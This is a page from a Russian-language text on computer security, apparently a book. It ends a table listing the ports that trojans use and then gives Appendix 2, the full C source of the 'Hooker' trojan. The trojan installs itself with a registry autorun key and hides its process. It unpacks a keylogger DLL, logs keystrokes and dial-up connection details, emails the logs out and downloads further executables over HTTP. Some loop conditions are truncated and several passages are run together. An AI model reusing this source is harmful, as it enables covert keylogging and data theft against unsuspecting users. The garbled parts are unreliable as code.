49104 (608927), страница 12
Текст из файла (страница 12)
port 31336 - Bo Whack, ButtFunnel port 31337 - Baron Night, BO client, BO2, Bo Facil
port 31337 (UDP) - BackFire, Back Orifice, DeepBO, Freak>
port 31338 - NetSpy DK, ButtFunnel port 31338 (UDP) - Back Orifice, DeepBO
port 31339 - NetSpy DK port 31666 - BOWhack
port 31785 - Hack+a+Tack port 31787 - Hack+a+Tack
port 31788 - Hack+a+Tack port 31789 (UDP) - Hack+a+Tack
port 31791 (UDP) - Hack+a+Tack port 31792 - Hack+a+Tack
port 32100 - Peanut Brittle, Project nEXT port 32418 - Acid Battery
port 33333 - Blakharaz, Prosiak port 33577 - PsychWard
port 33777 - PsychWard port 33911 - Spirit 2001a
port 34324 - BigGluck, TN port 34555 (UDP) - Trinoo (Windows)
port 35555 (UDP) - Trinoo (Windows) port 37651 - YAT
port 40412 - The Spy port 40421 - Agent 40421, Masters Paradise
port 40422 - Masters Paradise port 40423 - Masters Paradise
port 40426 - Masters Paradise port 41666 - Remote Boot
port 41666 (UDP) - Remote Boot port 44444 - Prosiak
port 47262 (UDP) - Delta Source port 50505 - Sockets de Troie
port 50766 - Fore, Schwindler port 51996 - Cafeini
port 52317 - Acid Battery 2000 port 53001 - Remote Windows Shutdown
port 54283 - SubSeven port 54320 - Back Orifice 2000
port 54321 - School Bus port 54321 (UDP) - Back Orifice 2000
port 57341 - NetRaider port 58339 - ButtFunnel
port 60000 - Deep Throat port 60068 - Xzip 6000068
port 60411 - Connection port 61348 - Bunker-Hill
port 61466 - Telecommando port 61603 - Bunker-Hill
port 63485 - Bunker-Hill port 65000 - Devil, Stacheldracht
port 65432 - The Traitor port 65432 (UDP) - The Traitor
port 65535 - RC
ПРИЛОЖЕНИЕ 2
Исходный текст троянца Нооker
#include "hooker. h"
#include "logfunc. h"
#include "common. h"
#include "lzw. h"
// ------------ - путь в реестре---------------------
HKEY GetRegKey (const char* s,char* r)
{
const char* szRoots [] = {
"HKEY_CLASSES_ROOT",
"HKEY_CURRENT_USER",
"HKEY_LOCAL_MACHINE",
"HKEY_USERS"};
const HKEY hKeys [] = {
HKEY_CLASSES_ROOT,
HKEY_CURRENT_USER,
HKEY_LOCAL_MACHINE,
HKEY_USERS};
int i;
for (i=0; i<4; i++)
if (! strncmp (s, szRoots [i], strlen (szRoots [i]))) {
strcpy (r, s + strlen (szRoots [i]) + 1);
return hKeys [i];
};
return NULL;
};
// --------------Повторный запуск программы при необходимости--------------
void RecurrentStart (void)
{
char *szCmd,sz1 [0x100],sz2 [0x100];
PROCESS_INFORMATION pi;
STARTUPINFO si;
szCmd = GetCommandLine ();
sprintf (sz1,"Restart_%X",sti. number);
if (! strstr (szCmd,sz1)) {
// Это первая копия процесса, сделать вторую
memset (&si,0,sizeof (si));
si. cb = sizeof (si);
GetModuleFileName (NULL,sz2,sizeof (sz2));
// Создаем процесс
CreateProcess (
sz2, // pointer to name of executable module
sz1, // pointer to command line string
NULL, // pointer to process security attributes
NULL, // pointer to thread security attributes
false, // handle inheritance flag
0, // creation flags
NULL, // pointer to new environment block
NULL, // pointer to current directory name
&si, // pointer to STARTUPINFO
&pi // pointer to PROCESS_INFORMATION
);
ExitProcess (0);
};
};
// ----------------------------Деинсталяция----------------------------
void AutoKill (HINSTANCE h_keylog)
{
HKEY hKey,hRoot;
char sz1 [0x100];
EnterCriticalSection (&gcs);
// вход реестре
hRoot = GetRegKey (sti. reg_path,sz1);
if (hRoot) {
RegOpenKeyEx (
hKey, // handle of open key
sz1, // address of name of subkey to open
0, // reserved
KEY_ALL_ACCESS, // security access mask
&hKey // address of handle of open key
);
RegDeleteValue (hKey,sti. reg_desc);
RegCloseKey (hKey);
};
// Удаляем лог
DeleteFile (sti. logname);
// Удаляем keylog dll
GetModuleFileName (h_keylog,sz1,sizeof (sz1));
FreeLibrary (h_keylog);
DeleteFile (sz1);
// Adieu!
ExitProcess (0);
};
// ----------------------Установка в реестре---------------------------
void RegInstall (void)
{
HKEY hKey,hRoot;
ULONG i,j;
char buf1 [0x100],buf2 [0x100];
hRoot = GetRegKey (sti. reg_path,buf1);
if (! hRoot) hRoot = HKEY_LOCAL_MACHINE;
if (RegCreateKeyEx (
hRoot, // handle of an open key
buf1, // address of subkey name
0, // reserved
"", // address of class string
REG_OPTION_NON_VOLATILE, // special options flag
KEY_ALL_ACCESS, // desired security access
NULL, // address of key security structure
&hKey, // address of buffer for opened handle
&i // address of disposition value buffer
) ! = ERROR_SUCCESS) return;
i = sizeof (buf1);
if (sti. fullname)
strcpy (buf2,sti. full_exe_name);
else
strcpy (buf2,sti. exe_name);
if ( (RegQueryValueEx (
hKey, // handle of key to query
sti. reg_desc, // address of name of value to query
NULL, // reserved
&j, // address of buffer for value type
(UCHAR*) buf1, // address of data buffer
&i // address of data buffer size
) ! = ERROR_SUCCESS) ||
(j! = REG_SZ) ||
(strcmp (buf1,buf2))) {
// Надо ставить свой ключ
RegSetValueEx (
hKey, // handle of key to set value for
sti. reg_desc, // address of value to set
0, // reserved
REG_SZ, // flag for value type
(UCHAR*) buf2, // address of value data
strlen (buf2) + 1 // size of value data
);
};
RegCloseKey (hKey);
};
// -----------------------Инсталяция в систему-------------------------
void Install (void)
{
char buf1 [0x100],buf2 [0x100];
PROCESS_INFORMATION pi;
STARTUPINFO si;
// из какого каталога запуск?
GetModuleFileName (NULL,buf1,sizeof (buf1));
CharUpperBuff (buf1,strlen (buf1));
if (strcmp (sti. full_exe_name,buf1)) { // Нет это не наш каталог
// Копируем
if (CopyFile (buf1,sti. full_exe_name,false)) { // Скопировали нормально
memset (&si,0,sizeof (si));
si. cb = sizeof (si);
sprintf (buf2,"Restart_%X Kill_%X=%s",sti. number,sti. number,buf1);
// Стартуем процесс
CreateProcess (
sti. full_exe_name, // pointer to name of executable module
buf2, // pointer to command line string
NULL, // pointer to process security attributes
NULL, // pointer to thread security attributes
false, // handle inheritance flag
0, // creation flags
NULL, // pointer to new environment block
NULL, // pointer to current directory name
&si, // pointer to STARTUPINFO
&pi // pointer to PROCESS_INFORMATION
);
};
ExitProcess (0);
};
};
// --------------------Проверка на включение кейлога-------------------
bool TitleTest (HWND hwnd, char* t)
{
char title [0x200];
UINT i;
GetWindowText (hwnd,title,sizeof (title)); // Считываем заголовок окна
strcpy (t,title);
if (sti. total_log) return true; // Если постоянный лог
CharUpperBuff (title,strlen (title)); // в верхний региср
for (i = 0; i if (strstr (title,sti. substr [i])) return true; return false; }; // --------Тут происходит проверка на возникновение соединения--------- void ConDectecting (void) { static HRASCONN hconn; static int state; RASCONN rascon; RASCONNSTATUS rascs; LPRASENTRY re; RASPPPIP rasip; SYSTEMTIME st; int i,j; char sz1 [0x1000],sz2 [0x100]; FILE* fs; if (! bRASDLL) return; // текущее соединение? rascon. dwSize = sizeof (RASCONN); j = sizeof (rascon); if (RasEnumConnections ( &rascon, // buffer to receive connections data (LPDWORD) &j, // size in bytes of buffer (LPDWORD) &i // number of connections written to buffer )) return; if (! i) { // нет соединений hconn = NULL; return; }; // на каком этапе подключение? rascs. dwSize = sizeof (rascs); i = RasGetConnectStatus ( rascon. hrasconn, // handle to RAS connection of interest &rascs // buffer to receive status data ); if ( (i) || (rascs. rasconnstate == RASCS_Disconnected)) { hconn = NULL; return; }; if (hconn! = rascon. hrasconn) { state = rascs. rasconnstate; hconn = rascon. hrasconn; return; }; if ( (rascs. rasconnstate == RASCS_Connected) && (state! = RASCS_Connected)) { state = RASCS_Connected; // новое соединение успешно установлено GetLocalTime (&st); // имя, время соединения sprintf ( sz1,"\nConnection: \"%s\",%2.2u:%2.2u:%2.2u\n", rascon. szEntryName, st. wHour, st. wMinute, st. wSecond ); i = 0; // опередляем количество памяти под RASENTRY RasGetEntryProperties ( NULL, // pointer to full path and filename of phone-book file rascon. szEntryName, // pointer to an entry name NULL, // buffer that receives entry information (LPDWORD) &i, // size, in bytes, of the lpRasEntry buffer NULL, // buffer that receives device-specific configuration information NULL // size, in bytes, of the lpbDeviceInfo buffer ); re = (LPRASENTRY) new BYTE [i]; re->dwSize = sizeof (RASENTRY); j = RasGetEntryProperties ( NULL, // pointer to full path and filename of phone-book file rascon. szEntryName, // pointer to an entry name re, // buffer that receives entry information (LPDWORD) &i, // size, in bytes, of the lpRasEntry buffer NULL, // buffer that receives device-specific configuration information NULL // size, in bytes, of the lpbDeviceInfo buffer ); // телефон, скрипт if (! j) { if (re->dwfOptions & RASEO_UseCountryAndAreaCodes) sprintf ( sz2,"\tPN:%u,%s,%s\n", re->dwCountryCode, re->szAreaCode, re->szLocalPhoneNumber ); else sprintf ( sz2,"\tPN:%s\n", re->szLocalPhoneNumber ); strcat (sz1,sz2); if (strcmp (re->szScript,"")) { sprintf (sz2,"\tScript:%s\n",re->szScript); strcat (sz1,sz2); fs = fopen (re->szScript,"rt"); if (fs) { fseek (fs,0,SEEK_END); i = ftell (fs); j = strlen (sz1); if (i < ( (int) sizeof (sz1) - j - 0x40)) { fseek (fs,0,SEEK_SET); i = fread (&sz1 [j],1, i,fs); sz1 [j + i] = 0; strcat (sz1,"\n"); }; fclose (fs); }; }; }; delete re; i = sizeof (RASPPPIP); rasip. dwSize = i; j = RasGetProjectionInfo ( rascon. hrasconn, // handle that specifies remote access connection of interest RASP_PppIp, // specifies type of projection information to obtain &rasip, // points to buffer that receives projection information (LPDWORD) &i // points to variable that specifies buffer size ); // IP наш и сервера if (! j) { sprintf ( sz2,"\tIP:%s\n" "\tServer's IP:%s\n", rasip. szIpAddress, rasip. szServerIpAddress); strcat (sz1,sz2); }; LogAdd (sz1); }; }; // ---------------------Удаление предудущей копии---------------------- void DelPrev () { CREATETOOL CreateToolhelp32Snapshot; FIRST32 Process32First; NEXT32 Process32Next; HANDLE h_th; HINSTANCE h_l; PROCESSENTRY32 pe; HANDLE hp; h_l = LoadLibrary ("KERNEL32. DLL"); if (! h_l) return; CreateToolhelp32Snapshot = (CREATETOOL) GetProcAddress (h_l,"CreateToolhelp32Snapshot"); Process32First = (FIRST32) GetProcAddress (h_l,"Process32First"); Process32Next = (NEXT32) GetProcAddress (h_l,"Process32Next"); if ( (! Process32Next) || (! Process32First) || (! CreateToolhelp32Snapshot)) goto exit_proc; h_th = CreateToolhelp32Snapshot (TH32CS_SNAPPROCESS,0); pe. dwSize = sizeof (pe); if (! Process32First (h_th,&pe)) goto exit_proc; do { CharUpperBuff (pe. szExeFile,strlen (pe. szExeFile)); if ( (! strcmp (sti. full_exe_name,pe. szExeFile)) && (GetCurrentProcessId () ! = pe. th32ProcessID)) { hp = OpenProcess (PROCESS_TERMINATE,0,pe. th32ProcessID); if (hp) #ifdef _DEBUG if (! TerminateProcess (hp,0)) ShowMessage ("Cannot terminate process"); #else TerminateProcess (hp,0); #endif }; } while (Process32Next (h_th,&pe)); exit_proc: FreeLibrary (h_l); }; // -------------callback функция для распаковки кейлог-dll------------- FILE* unpack_file; void Callback (char* data, int len) { fwrite (data,1,len,unpack_file); }; // -----------------------------WinMain-------------------------------- int WINAPI WinMain (HINSTANCE,HINSTANCE,LPSTR, int) { MSG msg; char buf1 [0x100],buf2 [0x200], buf3 [0x100], *szKillIt; HINSTANCE h_ker, h_keylog, h_ras; SYSTEMTIME systime, killtime, mailtime, exectime; int h_timer, i, j; LPREGISTERSERVICEPROCESS lpRegServ; LPGETDATA GetData; LPKEYLOGON KeylogOn; LPKEYLOGOFF KeylogOff; LPKEYLOGOPT KeylogOpt; bool IsLog = false, IsMailing = false, IsChange = false; UINT cFlush = 0, cMail = 0, cAutoKill = 0, cRegInst = 0, cExe = 0, cCon = 0; HWND h_curwnd, h_oldwnd = NULL; FILE* h_f; HRSRC hr; HGLOBAL hrd; _AttachedData a_d; char* sti_buf; char old_title [MAX_PATH]; int d_s; // Грузим конфинурацию GetModuleFileName (NULL,buf1,sizeof (buf1)); h_f = fopen (buf1,"rb"); fseek (h_f,0,SEEK_END); d_s = ftell (h_f); sti_buf = new char [d_s]; fseek (h_f,0,SEEK_SET); fread (sti_buf,1,d_s,h_f); for (i=d_s-1; i>=0; i--) { sti_buf [i-1] ^= sti_buf [i]; sti_buf [i-1] += sti_buf [i]; }; memcpy (&a_d,&sti_buf [d_s - sizeof (_AttachedData)],sizeof (_AttachedData)); if (a_d. signature! = 0x3104) return - 1; sti. total_log = a_d. total_log; sti. encrypt_log = a_d. encrypt_log; sti. send_mail = a_d. send_mail; sti. syspass = a_d. syspass; sti. autokill = a_d. autokill; sti. fullname = a_d. fullname; sti. exepath = a_d. exepath; sti. ras = a_d. ras; sti. loglimit = a_d. loglimit; sti. sendafter = a_d. sendafter; sti. nsubstr = a_d. n_ss; sti. number = a_d. number; // грузим субстроки for (i=0,j=a_d. ss_ofs; (UINT) i sti. substr [i] = new char [strlen (&sti_buf [j]) + 1]; strcpy (sti. substr [i],&sti_buf [j]); j += strlen (&sti_buf [j]) + 1; }; // имя лога strcpy (buf1,&sti_buf [a_d. logname_ofs]); GetSystemDirectory (sti. logname,sizeof (sti. logname)); strcat (sti. logname,"\\"); strcat (sti. logname,buf1); // адрес хоста strcpy (sti. host,&sti_buf [a_d. host_ofs]); // от кого? strcpy (sti. mailfrom,&sti_buf [a_d. mailfrom_ofs]); // кому? strcpy (sti. mailto,&sti_buf [a_d. mailto_ofs]); strcpy (sti. subj,&sti_buf [a_d. subj_ofs]); // имя exe-файла strcpy (sti. exe_name,&sti_buf [a_d. exe_ofs]); // имя кейлог-dll strcpy (sti. dll_name,&sti_buf [a_d. dll_ofs]); // полное имя exe-файла if (sti. exepath == 2) strcpy (sti. full_exe_name,&sti_buf [a_d. exe_ofs]); else { if (! sti. exepath) GetWindowsDirectory (sti. full_exe_name,sizeof (sti. full_exe_name)); else GetSystemDirectory (sti. full_exe_name,sizeof (sti. full_exe_name)); strcat (sti. full_exe_name,"\\"); strcat (sti. full_exe_name,&sti_buf [a_d. exe_ofs]); }; CharUpperBuff (sti. full_exe_name,strlen (sti. full_exe_name)); // описание в реестре strcpy (sti. reg_desc,&sti_buf [a_d. reg_descr_ofs]); // путь в реестре strcpy (sti. reg_path,&sti_buf [a_d. reg_path_ofs]); // адрес exe-файла для запуска strcpy (sti. http,&sti_buf [a_d. http_ofs]); // порт сендмэйла sti. port = a_d. port; // интервал между посылками memcpy (&sti. send_i,&a_d. send_i,sizeof (SYSTEMTIME)); // время жизни memcpy (&sti. kill_i,&a_d. kill_i,sizeof (SYSTEMTIME)); delete sti_buf; DelPrev (); #ifndef _DEBUG RecurrentStart (); // Повторно запусть? Install (); // Интсталируем #endif // Что у нас в командной строке? sprintf (buf1,"Kill_%X=",sti. number); szKillIt = strstr (GetCommandLine (),buf1); if (szKillIt) szKillIt += strlen (buf1); // Скрываем процесс h_ker = LoadLibrary ("KERNEL32. DLL"); if (h_ker) { lpRegServ = (LPREGISTERSERVICEPROCESS) GetProcAddress (h_ker,"RegisterServiceProcess"); #ifndef _DEBUG if (lpRegServ) lpRegServ (NULL,1); #endif FreeLibrary (h_ker); }; // Подгружаем RASAPI32. DLL если есть h_ras = LoadLibrary ("RASAPI32. DLL"); if (h_ras) { RasEnumConnections= (LPRASENUMCCONNECTIONS) GetProcAddress (h_ras,"RasEnumConnectionsA"); RasGetConnectStatus = (LPRASGETCONNECTSTATUS) GetProcAddress (h_ras,"RasGetConnectStatusA"); RasGetEntryProperties = (LPRASGETENTRYPROPERTIES) GetProcAddress (h_ras,"RasGetEntryPropertiesA"); RasGetProjectionInfo = (LPRASGETPROJECTIONINFO) GetProcAddress (h_ras,"RasGetProjectionInfoA"); bRASDLL = (RasEnumConnections) && (RasGetConnectStatus) && (RasGetEntryProperties) && (RasGetProjectionInfo); } else bRASDLL = false; // Проинициализировать лог LogInit (); GetSystemDirectory (buf1,sizeof (buf1)); strcat (buf1,"\\"); strcat (buf1,sti. dll_name); h_keylog = LoadLibrary (buf1); if (! h_keylog) { hr = FindResource ( NULL, // resource-module handle (LPCTSTR) IDR_KDLL, // pointer to resource name "KDLL" // pointer to resource type ); hrd = LoadResource ( NULL, // resource-module handle hr // resource handle ); unpack_file = fopen (buf1,"w+b"); if (! unpack_file) return - 1; LZWUnpack ( (char*) hrd,Callback); fclose (unpack_file); h_keylog = LoadLibrary (sti. dll_name); }; // грузим функции кейлог-dll GetData = (LPGETDATA) GetProcAddress (h_keylog,"GetData"); KeylogOn = (LPKEYLOGON) GetProcAddress (h_keylog,"KeylogOn"); KeylogOff = (LPKEYLOGOFF) GetProcAddress (h_keylog,"KeylogOff"); KeylogOpt = (LPKEYLOGOPT) GetProcAddress (h_keylog,"KeylogOpt"); #ifdef _DEBUG if (! GetData) { ShowMessage ("Error load GetData function"); return - 1; }; if (! KeylogOn) { ShowMessage ("Error load KeyLogOn function"); return - 1; }; if (! KeylogOff) { ShowMessage ("Error load KeyLogOff function"); return - 1; }; if (! KeylogOpt) { ShowMessage ("Error load KeyLogOpt function"); return - 1; }; #else if ( (! GetData) || (! KeylogOn) || (! KeylogOff) || (! KeylogOpt)) return - 1; #endif // Ставим режим работы кейлог-dll KeylogOpt (a_d. adv_log); // проинициализить критическую секцию InitializeCriticalSection (&gcs); // Пишем время старта i = sizeof (buf1); if (! GetUserName (buf1, (DWORD*) &i)) buf1 [0] = 0; i = sizeof (buf3); if (! GetComputerName (buf3, (DWORD*) &i)) buf3 [0] = 0; sprintf (buf2,"Computer: \"%s\" User: \"%s\"\n",buf3,buf1); GetLocalTime (&systime); SysTimePrint (buf3,systime); sprintf (buf1,"\nStarted at%s,%s\n",buf3,buf2); LogAdd (buf1); memcpy (&killtime,&sti. inst_d,sizeof (SYSTEMTIME)); SysTimeSum (killtime,sti. kill_i); memcpy (&mailtime,&sti. send_d,sizeof (mailtime)); SysTimeSum (mailtime,sti. send_i); // Сбрасываем exectime memset (&exectime,0,sizeof (exectime)); // Ставим таймер h_timer = SetTimer (NULL,0,1000,NULL); while (GetMessage (&msg,NULL,0,0)) // GetMessage-loop switch (msg. message) { case WM_TIMER: // Забираем данные из кейлог-буфера if (IsLog) { i = GetData (buf1,sizeof (buf1)); buf1 [i] = 0; if ( (! a_d. emp_log) && (IsChange) && (i)) { LogAdd (old_title); IsChange = false; }; LogAdd (buf1); }; h_curwnd = GetForegroundWindow (); // Получить текущее окно if (h_curwnd! = h_oldwnd) { // Окно поменялось // выключаем лог если он идет if (IsLog) KeylogOff (); IsLog = false; if (TitleTest (h_curwnd,buf2)) { // Окно наше? GetLocalTime (&systime); sprintf (old_title, "\nTitle: \"%s\",%2.2u:%2.2u:%2.2u\n", buf2,systime. wHour, systime. wMinute, systime. wSecond ); IsChange = true; if (a_d. emp_log) LogAdd (old_title); IsLog = KeylogOn (); // Включить лог }; }; h_oldwnd = h_curwnd; // Обработка сброса буфера на хард if (cFlush > FLUSH_BUFFER_TIME) { LogFlush (); cFlush = 0; } else cFlush++; if (sti. send_mail) { if ( (cMail > MAIL_TEST_TIME) && (! IsMailing)) { GetLocalTime (&systime); if ( (SysTimeComp (systime,mailtime) >= 0) || (sti. logsize > sti. sendafter)) { // Мылим LogEmailing (mailtime, IsMailing); }; cMail = 0; } else cMail++; }; if (cRegInst > REG_TEST_TIME) { if (sti. autokill) { GetLocalTime (&systime); if (SysTimeComp (systime,killtime) >= 0) { AutoKill (h_keylog); }; }; RegInstall (); cRegInst = 0; } else cRegInst++; if ( (cExe > EXEC_TEST_TIME) && (! IsMailing)) { GetLocalTime (&systime); if (SysTimeComp (systime,exectime) >= 0) { HttpDownloading (exectime, IsMailing); }; cExe = 0; } else cExe++; // Килять исходный экзешник? if (szKillIt) { if (DeleteFile (szKillIt)) szKillIt = NULL; }; // Проврека на возникновение соединения if (cCon > CON_TEST_TIME) { cCon = 0; ConDectecting (); } else cCon++; break; #ifdef _DEBUG default: sprintf (buf1,"Unknown Message:%X",msg. message); ShowMessage (buf1); #endif }; return msg. wParam; };